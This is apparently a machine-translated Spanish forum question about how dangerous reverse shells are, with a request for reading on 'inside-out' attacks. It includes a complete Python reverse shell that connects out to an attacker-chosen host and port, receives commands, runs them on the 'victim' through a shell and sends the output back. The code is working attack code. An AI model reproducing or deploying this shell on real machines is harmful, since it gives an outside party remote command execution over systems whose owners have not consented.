Estoy trabajando en una cosa simple de shell inversa en Python. Puede aceptar e interpretar comandos en un shell generado en la víctima. Desafortunadamente, no admite funciones como ping, traceroute, nbtstat (para máquinas con Windows), nslookup (para Windows también), por razones que no entiendo lo suficiente. Mi pregunta es, ¿cuánta de una amenaza son estas capas inversas a una red? Parecen triviales en el sentido de que un usuario estándar tendría (y debería) tener sus privilegios restringidos, por lo que realmente no se puede hacer ningún daño, y el reverso parece algo que iría a la casa de un compañero y se conectaría a su computadora para prueba de concepto. Además, se agradecerán los enlaces a lecturas adicionales; Los ataques "de adentro hacia afuera" realmente me interesan. Cosita: Ah lo siento, olvidé incluir el "cosita" :)
#! /usr/bin/python3
import socket, subprocess, os
from sys import argv
script, host, port = argv
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((str(host), int(port)))
except ValueError as err:
print ("You entered the wrong host / port combination or something...")
print ("Here is the error message:\n{}".format(err))
except (socket.error) as err:
print ("Socket error of some sort...")
print ("Here is the error message:\n\n\n{}".format(err))
while True:
s.send("Command: ".encode("utf-8"))
comm = s.recv(4096)
comm = comm.decode("utf-8")
print (comm)
if comm[:2] == "cd":
os.chdir(comm[3:].rstrip())
p = subprocess.Popen([comm], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding = 'utf-8')
s.send(p.stdout.read().encode("utf-8"))